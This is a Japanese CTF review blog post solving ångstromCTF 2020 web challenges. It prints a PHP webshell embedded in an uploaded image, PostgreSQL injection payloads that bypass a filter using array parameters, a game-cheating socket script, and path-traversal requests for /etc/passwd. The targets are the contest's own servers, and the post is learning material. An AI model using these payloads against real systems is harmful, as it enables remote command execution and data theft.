b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_x\xa0\xed3\xc0\xb3%\x82w\xa94\x8d\x08'
----------
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_v\xe7\xc7\xcbx\xd8\x82y!\xd4\xa7\x8e\x99'
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_w\xc4Z\x7f\x9c\xc5\xd3\xfd\xcc\xbe\xee\r\xd0'
----------

...{中略3}...

----------
u: 567
k: 473699294761052263257453976608854380286151134994879613791162315212316412696124816295601503453088411612127948258634000745395634796195218589954600739259717757111055678091542
m: 1435705157341034722972040166343948017765222376167759753619834511904754169570506546261909734839045859564975508867904779044318503483547332182366926494593476321186830772092
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_with_padding|'
b'actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_with_padding}'
[*] Closed connection to crypto.2020.chall.actf.co port 20600

中略1のあと、actf{this_is_not_what_i_meant_when_i_told_you_to_use_rsa_までmの範囲が絞れましたが、まだその先数byte残っています。
そこでstep2の処理に移行し、mを最終bitまで特定しているようです。

この解法の、私にもわかりそうな解説ありましたらぜひ教えて下さいませー!

ångstromCTF 2020 Web分野の復習 writeup

2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFのWeb分野の復習です。CTF Timesはこちら
writeup, 戦績はこちら。

kusuwada.hatenablog.com

最後のUBIはwriteupが公式解法のスクリプトしか見つからず、読み解くのにめっちゃ時間がかかりましたが、とても面白かったです!(それでもheap問と比べれば気分がめっちゃ楽だった…)

[Web] Defund's Crypt

One year since defund's descent. One crypt. One void to fill. Clam must do it, and so must you.

Hint

Who says images can't identify as more than one thing? This is 2020.

問題文の意味がさっぱりわかりませんが、とりあえずリンク先に飛んでみます。

f:id:kusuwada:20200405110526p:plain

ソースを読んでみると、コメントに

<!-- Defund was a big fan of open source so head over to /src.php -->
<!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->

こんなのがあったので、/src.phpにアクセスしてみました。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet">
        <link rel="stylesheet" href="/style.css">
        <title>Defund's Crypt</title>
    </head>
    <body>
        <!-- Defund was a big fan of open source so head over to /src.php -->
        <!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->
        <h1>Defund's Crypt<span class="small">o</span></h1>
        <?php
            if ($_SERVER["REQUEST_METHOD"] === "POST") {
                // I just copy pasted this from the PHP site then modified it a bit
                // I'm not gonna put myself through the hell of learning PHP to write one lousy angstrom chall
                try {
                    if (
                        !isset($_FILES['imgfile']['error']) ||
                        is_array($_FILES['imgfile']['error'])
                    ) {
                        throw new RuntimeException('The crypt rejects you.');
                    }
                    switch ($_FILES['imgfile']['error']) {
                        case UPLOAD_ERR_OK:
                            break;
                        case UPLOAD_ERR_NO_FILE:
                            throw new RuntimeException('You must leave behind a memory lest you be forgotten forever.');
                        case UPLOAD_ERR_INI_SIZE:
                        case UPLOAD_ERR_FORM_SIZE:
                            throw new RuntimeException('People can only remember so much.');
                        default:
                            throw new RuntimeException('The crypt rejects you.');
                    }
                    if ($_FILES['imgfile']['size'] > 1000000) {
                        throw new RuntimeException('People can only remember so much..');
                    }
                    $finfo = new finfo(FILEINFO_MIME_TYPE);
                    if (false === $ext = array_search(
                        $finfo->file($_FILES['imgfile']['tmp_name']),
                        array(
                            '.jpg' => 'image/jpeg',
                            '.png' => 'image/png',
                            '.bmp' => 'image/bmp',
                        ),
                        true
                    )) {
                        throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
                    }
                    if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
                        throw new RuntimeException("The name of your memory doesn't seem to match its content.");
                    }
                    $bname = basename($_FILES["imgfile"]["name"]);
                    $fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
                    if (!move_uploaded_file(
                        $_FILES['imgfile']['tmp_name'],
                        "./memories/" . $fname
                    )) {
                        throw new RuntimeException('Your memory failed to be remembered.');
                    }
                    http_response_code(301);
                    header("Location: /memories/" . $fname);
                } catch (RuntimeException $e) {
                    echo "<p>" . $e->getMessage() . "</p>";
                }
            }
        ?>
        <img src="crypt.jpg" height="300"/>
        <form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data">
            <p>Leave a memory:</p>
            <input type="file" id="imgfile" name="imgfile">
            <label for="imgfile" id="imglbl">Choose an image...</label>
            <input type="submit" value="Descend">
        </form>
        <script>
            imgfile.oninput = _ => {
                imgfile.classList.add("satisfied");
                imglbl.innerText = imgfile.files[0].name;
            };
        </script>
    </body>
</html>

わーい🙌!ソースがフルで落とせました。続きのコメントに書いてあるように/flag.txtもいるらしいのですが、権限のせいか読めません。

画像をuploadできるみたい。試しに今DLしたtop画のcrypt.jpgをアップしてみると、こんな感じでボタンのところの名前がuploadした画像のファイル名に変わりました。

f:id:kusuwada:20200405110605p:plain

そのままDescendボタンを押すと画像がアップロードされ、アップロードした画像が表示されます。

ファイル名に攻撃を仕込むのかな?などといろいろ検索・試行錯誤してみましたが、ここで時間切れ。

ここから復習

まず、ソースコードから以下のことがわかります。

if (false === $ext = array_search(
    $finfo->file($_FILES['imgfile']['tmp_name']),
    array(
        '.jpg' => 'image/jpeg',
        '.png' => 'image/png',
        '.bmp' => 'image/bmp',
    ),
    true
)) {
    throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
}
if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
    throw new RuntimeException("The name of your memory doesn't seem to match its content.");
}

MIME_TYPEをチェックし、そのMIME_TYPEにあった拡張子がファイル名に含まれているか、の判定のみを行っているので、test.png.phpみたいな名前のファイルだとチェックを通ってしまいます。

$bname = basename($_FILES["imgfile"]["name"]);
$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
if (!move_uploaded_file(
    $_FILES['imgfile']['tmp_name'],
    "./memories/" . $fname
)) {
    throw new RuntimeException('Your memory failed to be remembered.');
}
http_response_code(301);
header("Location: /memories/" . $fname);

上記から、アップされたファイルは./memories/{sha1}.{拡張子}に格納され、リダイレクトするresponseが返ります。

皆さんのwriteupを読むと、LFI(ローカルファイルインクルード攻撃)が有効だったようです。

画像ファイルにPHPコードを埋め込む攻撃は既知の問題 – yohgaki's blog

以下の2パターンを試してみました。

  1. pngファイルをHEXエディタで開いて、Magic以降の適当な部分にflagを出力させるコードを埋め込む
  2. systemコマンドで、引数をクエリパラメータから取ってくるコードを埋め込み、任意のコマンドが実行できるようにする

1. pngファイルをHEXエディタで開いて、Magic以降の適当な部分にflagを出力させるコードを埋め込む

ångstromCTF 2020 write up · kuzushikiのぺーじ

こちらを参考にさせていただきました。

適当な画像ファイルを用意します。(今回はtest.png
バイナリエディタで開いて、Magic以降の適当な箇所にphpコードを埋め込みます。

<?php $flag=file_get_contents('/flag.txt'); echo $flag;?>

f:id:kusuwada:20200405110704p:plain

このファイルをブラウザからuploadしDescendボタンを押すと、ファイルの中身が表示され、その中にflagが入っていました!

f:id:kusuwada:20200405110729p:plain

上記のwriteupでは、jpeg画像でexif箇所にコードを埋めています。きれいなので、もう少し制約がきつくても使えそうです。

2.systemコマンドで、引数をクエリパラメータから取ってくるコードを埋め込み、任意のコマンドが実行できるようにする

一方、システムコマンドを埋め込むと実質何でもできるようになります。

CTFtime.org / ångstromCTF 2020 / Defund's Crypt / Writeup

こちらを参考にさせていただきました。

<?php system($_GET['cmd']);?>
https://crypt.2020.chall.actf.co/memories/2b5388fca90e400fd649a6ee50792ad6fd55dfcf.png.php

にアップロードされたので

https://crypt.2020.chall.actf.co/memories/2b5388fca90e400fd649a6ee50792ad6fd55dfcf.png.php?cmd=cat%20/flag.txt

にアクセスすると、cat /flag.txt が実行されて、flagが表示されました。

f:id:kusuwada:20200405110750p:plain

他、pwd ls /などのコマンドの結果も得られました。これも汎用性が高そう。
初めてやるタイプの問題&オーソドックスなやつっぽいので、とても勉強になった!

[Web] Woooosh

Clam's tired of people hacking his sites so he spammed obfuscation on his new game. I have a feeling that behind that wall of obfuscated javascript there's still a vulnerable site though. Can you get enough points to get the flag? I also found the backend source.

Hint

The frontend is obfuscated but maybe something else isn't?

問題文とヒントから、frontendが難読されたjavascriptで構成されているようです。ただ、frontend以外のところはまだ読めるようで、そこが脆弱だという話かなぁ?

下記のindex.jsが配布されます。

const express = require("express");
const exphbs = require("express-handlebars");
const socket = require("socket.io");
const path = require("path");
const http = require("http");

const app = express();
const serv = http.createServer(app);
const io = socket.listen(serv);
const port = process.env.PORT || 60600;

function rand(bound) {
    return Math.floor(Math.random() * bound);
}

function genId() {
    const chars = "abcdefghijklmnopqrstuvwxyz0123456789";
    return new Array(64).fill(0).map(v => chars[rand(chars.length)]).join``;
}

function genShapes() {
    return new Array(20).fill(0).map(v => ({ x: rand(500), y: rand(300) }));
}

function dist(a, b, c, d) {
    return Math.sqrt(Math.pow(c - a, 2), Math.pow(d - b, 2));
}

app.use(express.static(path.join(__dirname, "public")));

const hbs = exphbs.create({
    extname: ".hbs",
    helpers: {}
});

app.engine("hbs", hbs.engine);
app.set("view engine", "hbs");
app.set("views", path.join(__dirname, "views"));

io.on("connection", client => {
    let game;
    setTimeout(function() {
        try {
            client.disconnect();
        } catch (err) {}
    }, 1 * 60 * 1000);
    function endGame() {
        try {
            if (game) {
                if (game.score > 50) {
                    client.emit(
                        "disp",
                        `Good job! You're so good at this! The flag is ${process.env.FLAG}!`
                    );
                } else {
                    client.emit(
                        "disp",
                        "Wow you're terrible at this! No flag for you!"
                    );
                }
                game = null;
            }
        } catch (err) {}
    }
    client.on("start", function() {
        try {
            if (game) {
                client.emit("disp", "Game already started.");
            } else {
                game = {
                    shapes: genShapes(),
                    score: 0
                };
                game.int = setTimeout(endGame, 10000);
                client.emit("shapes", game.shapes);
                client.emit("score", 0);
            }
        } catch (err) {}
    });
    client.on("click", function(x, y) {
        try {
            if (!game) {
                return;
            }
            if (typeof x != "number" || typeof y != "number") {
                return;
            }
            if (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) {
                game.score++;
            }
            game.shapes = genShapes();
            client.emit("shapes", game.shapes);
            client.emit("score", game.score);
        } catch (err) {}
    });
    client.on("disconnect", function() {
        try {
            if (game) {
                clearTimeout(game.int);
            }
            game = null;
        } catch (err) {}
    });
});

app.get("/", function(req, res) {
    res.render("home");
});

serv.listen(port, function() {
    console.log(`Server listening on port ${port}!`);
});

ゲームの獲得スコアが 50 点を超えると、下記の通りflagを表示してくれるみたいです。

`Good job! You're so good at this! The flag is ${process.env.FLAG}!`

サイトに飛んで、ゲームを開始してみると、こんなゲームが始まります。

f:id:kusuwada:20200405110851p:plain

どうやら、たくさんある赤い四角の中から、丸いやつを探してクリックするゲームのようです。所定時間内に50回押せたらクリア。人力でやってみたところ、私の最高記録は5でした。50なんて無理無理。

ソースから、バックエンド側で得点を管理しているようなので、フロントエンドの値をいくら書き換えたところで、ゲーム終了時のスコアは書き換わらない。タイムアウトの秒数も、バックエンド側にハードコーディングされているので厳しい。

CTFっぽくないけど、赤丸を認識させて座標を特定・クリック!みたいなスクリプトを書いたら行けるのかも知れない、と思ったものの、本質ではなさそうなのでこれをやる時間は割けないな、と判断。(他の問題は無理やり解法しまくったくせに😇)

ここから復習

これも、いくつか解法が出回っていました。

  1. frontendのコードを書き換えてプレイ
  2. 丸点の座標が降ってきているので、これを取得してクリックし返すようなフロントエンドのスクリプトを作成

この2つがわかりやすそう。

いずれも、frontendの難読化されたソースをある程度読み解いています。

javascriptの難読化解除、という説明が多いですが、難読化されたソースを整形して綺麗に読めるようにするオンラインツールはいくつかあります。下記はその一つ。

Online JavaScript beautifier

これにかけたあとのfrontendコード(main.js)を確認します。気になる名前の関数が見つかります。

function drawShapes() {
  ctx[_0x34d7('0x9')](0x0, 0x0, 0x1f4, 0x12c);
  shapes['map']((_0x401a13, _0x53031c) => _0x53031c ? ctx[_0x34d7('0x17')](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa) : ctx['beginPath']() + ctx[_0x34d7('0xa')](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx[_0x34d7('0x28')]() + ctx[_0x34d7('0x2f')]());
}

function getCursorPosition(_0x2b237a, _0x380ec8) {
  var _0x127ab4 = {
    'NhgpB': function (_0x3d88ae, _0x1d8777) {
      return _0x3d88ae - _0x1d8777;
    }
  };
  const _0x17e5d8 = _0x2b237a[_0x34d7('0x2b')]();
  const _0x4a40e = _0x127ab4[_0x34d7('0x46')](_0x380ec8[_0x34d7('0x43')], _0x17e5d8['left']);
  const _0x1efa5e = _0x127ab4[_0x34d7('0x46')](_0x380ec8['clientY'], _0x17e5d8[_0x34d7('0x6c')]);
  return [_0x4a40e, _0x1efa5e];
}

この中のshapesという変数に注目して、Chrome開発者ツールでwatchしてみます。

f:id:kusuwada:20200405110914p:plain

ゲームを開始して、この変数の更新ボタンを押すと、20個の座標が送られてきているのがわかります。クリックするごとに値が変わるので、円と四角の座標と見て間違いなさそうです。(※Breakpointは解除した状態で実施。赤い四角のところのボタンで解除/実施の切替可)

また、バックエンド側のソースindex.jsの下記のコードより

if (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) {
    game.score++;
}

shapes[0].xshapes[1].y と、クリックされた座標 x, y の距離を評価しているようなので、クリックする座標をshapes[0].xshapes[1].yに合わせてあげると良さそう。…?うーん、普通に遊べるので、shapes[n].xshapes[n].yが使われていて欲しいんだけど、frontend側からbackend側に座標を渡す時に何か変換が行われているのかな?

これを元に、上記の1,2それぞれの方法で解いてみます。

1. frontendのコードを書き換えてプレイ

実はソースの書き換えのやり方がよく分からず、他の問題でもよく諦めていました。

ångstromCTF 2020 の write-up - st98 の日記帳

st98さんのwriteupより、下記をconsoleで打つことで、関数の挙動を上書きできることがわかりました!🙌

getCursorPosition = () => [shapes[0].x, shapes[1].y];

クリックした座標ではなく、丸点の座標を返すように書き換えてしまいます。
この書き換えを行ってゲームをプレイ、1秒に1~2回ずつくらい適当な場所をクリックすると順調にスコアが加算され、23ptのところでflagが表示されました。

f:id:kusuwada:20200405110939p:plain

この方法でも、結構頑張らないと時間内にクリアできなかった。

2. 丸点の座標が降ってきているので、これを取得してクリックし返すようなフロントエンドのスクリプトを作成

おそらく、問題文・ヒントから、こちらが想定解っぽい。バックエンドのソースを元に、フロントエンドをこちらで作ってあげて動作させれば良い。
index.jsや、サイトのメッセージを見ていると、ソケット通信が使われているようです。

io.on("connection", client => {

ソケット通信、概要は知っているつもりでしたが、いざ攻撃・実装してみようとすると経験がなさすぎてスクリプト書くの諦めたところもあるので、再度概要のおさらい。

webSocket通信を知らないiOSエンジニアが知っておいて損はしない(経験談的な)軽い話

※資料の前半が大変わかりやすかった。

pythonで書く場合は、ソケット通信のpythonライブラリである、python-socketioを使うようです。

python-socketio — python-socketio documentation

index.jsから、Client側に期待されている関数に

client.emit("disp", "Game already started.");
client.emit("shapes", game.shapes);
client.emit("score", game.score);
client.on("start", function() {
client.on("click", function(x, y) {
client.on("disconnect", function() {

があることがわかります。これをこちらで作ってあげます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import socketio

sio = socketio.Client()

@sio.event
def disp(message):
    print('[Disp]: ' + message)

@sio.event
def shapes(shapes):
    print('Shapes: (' + str(shapes[0]['x']) + ', ' + str(shapes[1]['y']) + ')')
    sio.emit('click', (int(shapes[0]['x']), int(shapes[1]['y'])))

@sio.event
def score(score):
    print('[Score]: ' + str(score))

sio.connect('https://woooosh.2020.chall.actf.co/socket.io')
sio.emit('start')

実行結果

$ python solve.py 
Shapes: (425, 73)
[Score]: 0
Shapes: (87, 132)
[Score]: 1
Shapes: (40, 60)
[Score]: 2
Shapes: (331, 69)
[Score]: 3
Shapes: (239, 267)
[Score]: 4
Shapes: (320, 106)
(~中略~)
[Score]: 42
Shapes: (404, 108)
[Score]: 43
Shapes: (310, 2)
[Score]: 44
[Disp]: Good job! You're so good at this! The flag is actf{w0000sh_1s_th3_s0und_0f_th3_r3qu3st_fly1ng_p4st_th3_fr0nt3nd}!

こういう問題、ちゃっと解けるようになりたいなー。こちらも基礎っぽい問題だったし、jsの関数上書きやsocket通信について学べたので良かった!

[Web] A Peculiar Query

Clam thinks he's really cool and compiled a database of "criminal records" with a site to top it all off. I've dropped the tables once before but this time he took some extra security measures and I think he even hid a flag in there. Can you get it?

サイトに飛んでみると、こんな感じ。

f:id:kusuwada:20200405111005p:plain

database系の問題の様子。サイトの文にソースコードのリンクがあるので、ソースを見てみます。

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
    user: process.env.DBUSER,
    host: process.env.DBHOST,
    database: process.env.DBNAME,
    password: process.env.DBPASS,
    port: process.env.DBPORT
});

async function query(q) {
    const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
    return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
    res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
    if (req.query.q) {
        try {
            let q = req.query.q;
            // no more table dropping for you
            let censored = false;
            for (let i = 0; i < q.length; i ++) {
                if (censored || "'-\".".split``.some(v => v == q[i])) {
                    censored = true;
                    q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
                }
            }
            q = q.substring(0, 80);
            const result = await query(q);
            res.render("home", {results: result.rows, err: ""});
        } catch (err) {
            console.log(err);
            res.status(500);
            res.render("home", {results: [], err: "aight wtf stop breaking things"});
        }
    } else {
        res.render("home", {results: [], err: ""});
    }
});

app.listen(port, function() {
    client.connect();
    console.log("App listening on port " + port);
});

ここでクエリに使われているILIKEを調べたところ、大文字小文字を区別しないLIKE検索で、Posgres SQLで使われるらしい。

PostgreSQL 9.4.5文書 9.7. パターンマッチ

現在のロケールに従って大文字小文字を区別しない一致を行うのであれば、LIKEの代わりにILIKEキーワードを使うことができます。 これは標準SQLではなく、PostgreSQLの拡張です。

ILIKE '${q}%' なので、前方一致で調べてくれるみたい。

for (let i = 0; i < q.length; i ++) {
    if (censored || "'-\".".split``.some(v => v == q[i])) {
        censored = true;
        q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);

"'-\"."', -, ", .の文字。split\`はsplit("")と同じ意味らしい。これらの記号が1つでも入っていたら、検閲(censored)がtrueになり、該当の文字以降が*に置き換わる。
例えば q = alice だとすると、alice'-".は含まれないので、q = aliceのまま。攻撃をしようと、q = ' or 1=1;-- などとすると、q = ***********となってしまって、攻撃は成功しない。困った。

とりあえず、前方一致ってことは一文字でもあってればいいんでしょ?ということで、0-1, a-zを試してみました。

f:id:kusuwada:20200405111043p:plain

早速、aの時点でaplet123さんがヒット。bも同様にboshuaさんがヒットします。

c: clam
d: derekthesnake
j: Joe, John, Jack, Jill, Jonah, Jeff
k: kmh

地道に見たけど、これだけがヒット。皆 where's my million dollars という犯罪歴です。
...あ、%を入れたら全部見えるんだった…。同じく、_,___を入れても全部見える。

f:id:kusuwada:20200405111109p:plain

うーん、全員分のレコードを見てみたけど、Name, Criminal Record カラムにはflagは無いみたい。

シングルクォートの置き換えを探してこの辺の記事をさまよったり。

SQLiのフィルタ回避としてこの辺をさまよったり

PostgresSQLの攻撃チートシートを探したり

もう一つ、80文字以内という制限があるのも気になる。とても長いクエリになるのかも知れない。

などとブツブツ言いながら色々試しましたが、競技中には解けませんでした。

ここから復習

いくつかwriteupを読んでみましたが、こういうときは 配列 を試すんだった…!過去のSQL injection問題で出会ったことがあったのに、全く思いつかなかった…!
qが文字列であるかのチェックがないことから、配列を突っ込んでみる…と。メモメモ_φ(・_・

今回のクエリは、URLのクエリパラメータに渡されるので、aと検索した場合のURLは

/?q=a

となります。同様に、'を検索した場合はURLエンコードされて

/?q=%27

となります。ここに配列を食わせる方法はいくつかあるようですが、参考にさせていただいたwriteupでは

/?q=a&q=b&q=c

みたいにして配列を入れています。

/?q[]=a&q[]=b&q[]=c

でも入るみたい。配列を利用して、フィルタが回避できないか色々試してみるのが良いようなので、やってみます。

/?q=abc&q=def

を送ると、Error画面を拝むことが出来ました。

f:id:kusuwada:20200405111130p:plain

consoleを確認しても、500が返ってきています。何が起こっているか考えてみます。

for (let i = 0; i < q.length; i ++) {
    if (censored || "'-\".".split``.some(v => v == q[i])) {
        censored = true;
        q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
    }
}
q = q.substring(0, 80);

q=['abc','def']q.length=2です。
',-,",.と比較されるのは、abcdef。一致しないので、その後の*で置き換える処理は通りません。
その次に呼ばれるq.substring()関数はStringオブジェクトの組み込みメソッドらしいので、qが文字列ではなく配列の場合は、ここでエラーが発生してしまいます。
ここで落ちないためには、*の置き換え処理を通ってqを文字列に変換して貰う必要があります。
となると、少なくとも最後のq[i]',-,",.のどれかにし、置き換え処理を通ってもらう必要がありそう。

試しに最後に置き換え文字を入れてみるとどうなるでしょう。

/?q=abc&q=def&q=-

q = ['abc','def','-']。まず、上記のスクリプトi=2の時に置き換えが走ります。(q.slice(a,b)qが配列だった場合の挙動はこちらを参照。指定された区間の部分配列が返ります。)

q = abc,def*

その後ループを抜けて終了…しそうなんですが、qが配列から文字列に変わったことにより、length3から8に変わっています。なのでi=3,4,5,6,7,7まで回ります。
i=2の時に、censored = trueになっているので、毎回置き換え処理が走り、最終的には

q = abc*****

となります。

では、全レコードを正常に出してくれる下記のようなクエリを流すことを考えましょう。

ILIKE 'a' or 1=1; --%';

配列の1つ目にはa' or 1=1; --をurlエンコードした値を入れます。これは13文字。なので、i=13以降に置き換えが走るようダミーの配列要素を入れ、13番目の配列に置き換え対象文字を入れます。

/?q=a%27+or+1%3D1%3B+--&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=-

このクエリを突っ込むと、全レコード出てきました🙌 SQL injection成功です!

f:id:kusuwada:20200405111157p:plain

でも、%を入れただけのときと同様、出力してくれるテーブルの中にはflagはありません。他の情報を出してもらわないと。

ここで、SQL injectionのクエリをURLに変換するスクリプトを作成。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import urllib.request

sqli_query = """a' or 1=1; --"""

url = '/?q=' + urllib.request.quote(sqli_query)
for i in range(len(sqli_query)-1):
    url += '&q=a'
url += '&q=-'

print(url)

table情報を出してくれるクエリ。

' union select table_name from information_schema.tables;--

を実施してもらいます。

f:id:kusuwada:20200405111225p:plain

めっちゃ出てきましたが、タイトルからもcriminalstableが怪しい。
今度は、column名を見ます。table_nameがわかっているので、where table_name~としたいのですが、クエリが長すぎて80文字を超えてしまいます。なので、Postgres SQL Injection Cheat Sheet | pentestmonkeyString Concatenation||を使って、{table_name}{column_name}を出力するようにしてもらいます。

' union select table_name||column_name from information_schema.columns;--

もしくは、素直にconcat()関数を使っても良い。ぎり80文字。

' union select concat(table_name,column_name) from information_schema.columns;--

たくさん出てきましたが、table_namecriminalsで引っ掛けると、2つ引っかかりました。

f:id:kusuwada:20200405111243p:plain

f:id:kusuwada:20200405111246p:plain

nameは元々表示されている知っているやつなので、secretなカラムはcrime。このカラムを表示させます。

' union select crime from criminals;--

f:id:kusuwada:20200405111307p:plain

学びが多くて楽しい問題だった٩(๑❛ᴗ❛๑)尸

writeupを読んでみると、server側のソースが手に入っているので、ローカルでserverを立てて挙動を確認する、というのがあった。なるほどー!実際、javascriptの関数を熟知しているか、手元で動かしながら挙動を確認していくかしないと、ググった内容を机上でなぞるだけでは問題は解くの厳しそう。

[Web] LeetTube

I developed a new video streaming service just for hackers. Learn all about viruses, IP addresses, and more on LeetTube! Here's the source code and the Dockerfile.

Note: the server is also running behind NGINX.

Hint

I wonder what's in that unpublished video...

Dockerfile.txtleettuve.pyが配布されます。

FROM kmh11/python3.1
COPY app /app
RUN useradd -ms /bin/bash app
RUN chown -R app /app
USER app
EXPOSE 8000
ENTRYPOINT cd /app && ./leettube.py
#!/usr/bin/env python
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import os

videos = []
for file in os.listdir('videos'):
    os.chmod('videos/'+file, 0o600)
    videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()})
published = []
for video in videos:
    if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename
    else: published.append(video)

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            self.path = urllib.parse.unquote(self.path)
            if self.path.startswith('/videos/'):
                file = os.path.abspath('.'+self.path)
                try: video = open(file, 'rb', 0)
                except OSError:
                    self.send_response(404)
                    self.end_headers()
                    return
                reqrange = self.headers.get('Range', 'bytes 0-')
                ranges = list(int(i) for i in reqrange[6:].split('-') if i)
                if len(ranges) == 1: ranges.append(ranges[0]+65536)
                try:
                    video.seek(ranges[0])
                    content = video.read(ranges[1]-ranges[0]+1)
                except:
                    self.send_response(404)
                    self.end_headers()
                    return
                self.send_response(206)
                self.send_header('Accept-Ranges', 'bytes')
                self.send_header('Content-Type', 'video/mp4')
                self.send_header('Content-Range', 'bytes '+str(ranges[0])+'-'+str(ranges[0]+len(content)-1)+'/'+str(os.path.getsize(file)))
                self.end_headers()
                self.wfile.write(content)
            elif self.path == '/':
                self.send_response(200)
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                self.wfile.write(("""
<style>
body {
  background-color: black;
  color: #00e33d;
  font-family: monospace;
  max-width: 30em;
  font-size: 1.5em;
  margin: 2em auto;
}
</style>
<h1>LeetTube</h1>
<p>There are <strong>"""+str(len(published))+"</strong> published video"+('s' if len(published) > 1 else '')+" and <strong>"+str(len(videos)-len(published))+"</strong> unpublished video"+('s' if len(videos)-len(published) > 1 else '')+".</p>"+''.join("<h2>"+video["title"]+"</h2><video controls src=\""+video["path"]+"\"></video>" for video in published)).encode('utf-8'))
            else:
                self.send_response(404)
                self.end_headers()
        except:
            self.send_response(500)
            self.end_headers()

httpd = HTTPServer(('', 8000), RequestHandler)
httpd.serve_forever()

サイトはこんな感じ。

f:id:kusuwada:20200405111344p:plain

この問題は全然見れなかったので1から復習。

ここから復習

ソースを見た感じ、videoのファイル名がUNPUBLISHEDから始まっているときはファイルに対する権限を剥奪し、その他の場合は公開リストに入れている。videoの置き場はvideos/{filename}で、例えばhttps://leettube.2020.chall.actf.co/videos/Virus.mp4にアクセスすると、1つ目のvirus動画が見れる。

サイトのトップにThere are 3 published videos and 1 unpublished video.とあるので、このunpublished videoがflagに繋がるのかな。

if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename

ここのロジックから、非公開videoはUNPUBLISHEDから始まるファイルネームっぽい。コメントで注意されてる通り、UNPUBLISHEDFlag.mp4みたいにファイル名を推測して突っ込んでみてもなんの権限も無いし、そもそも名前があってるかもわからないので当然ダメ。

また、

           if self.path.startswith('/videos/'):

ここでトップ画面を出すか、コンテンツを返すか決めているのですが、ソース中でpathを自前パースしてしまっているので/videos/../../hogehogeみたいな指定でも通りそう。配布されたコードとDockerfile.txtから

app/leettube.py

のpathが存在することがわかっているので、このleettube.pyを探してみます。ブラウザバーに../を直接打ち込んだりcurlコマンドをオプション無しだと、../が省略されてしまうのでcurlコマンドで--path-as-isオプションを付けて実行します。

$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../leettube.py'
#!/usr/bin/env python
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import os

videos = []
for file in os.listdir('videos'):
    os.chmod('videos/'+file, 0o600)
    videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()})
(省略)

leettube.pyが返ってきました。

ディレクトリトラバーサルの定石、/etc/passwdを抜いてみます。

$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../../etc/passwd'
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.14.1</center>
</body>
</html>

Bad Requestです。nginx的に /app/ 配下へのアクセスしか許可していないので、/videos/../../、すなわち/にアクセスされた際にBadRequestが返ってきている、のかも知れません。(推測)

もしそうだとすると、/videos/../までは良いけど、これ以上は遡れないことになります。これは困った。

srikavin.me こちらのwriteupでは、ここでleettube.pyで使われているBaseHTTPRequestHandlerの仕様を確認したところ、queryについての記載が仕様にないのでself.pathの中にqueryが入っていること、更にleettube.py内でもquery stringについての処理がないことに気づいたそうです。

ということは、/videos/../?と始めると、nginx的には/videos/../のpathと思わせておいて、この先はクエリ、pythonコード側にはその先もpathとして扱ってもらえそう。pythonコード側ではos.path.abspathを使っていますが、これは途中のパスが存在するしないかのチェックをせずに変換を行います。なので、/videos/../?hogehoge/../../と指定すると、

  • nginx: /videos/../, すなわち /app 配下なのでオッケー!
  • python: /videos/../なんかしらんフォルダ/../../ すなわち /videos/../../, すなわち /

と解釈してくれます。python側の挙動をlocalでも確認してみます。

#!/usr/bin/env python
import os

# 存在しないpath ?hoge を間に挟んでみる
path = os.path.abspath('../?hoge/../../test_secret')
print(path)

with open(path, 'rb') as f:
    print(f.read())
$ tree
.
├── test_secret
└── tree1
    └── tree2
        └── test.py
$ cd tree1/tree2
$ python test.py 
/**/angstrtomctf2020/web/LeetTube/test_secret
b'This is test secret file!\n'

途中に存在しない変なpathが入っていても、チェックせずに変換されるんですねー!
この性質を使って/etc/passwdへのpathを送ってみます。

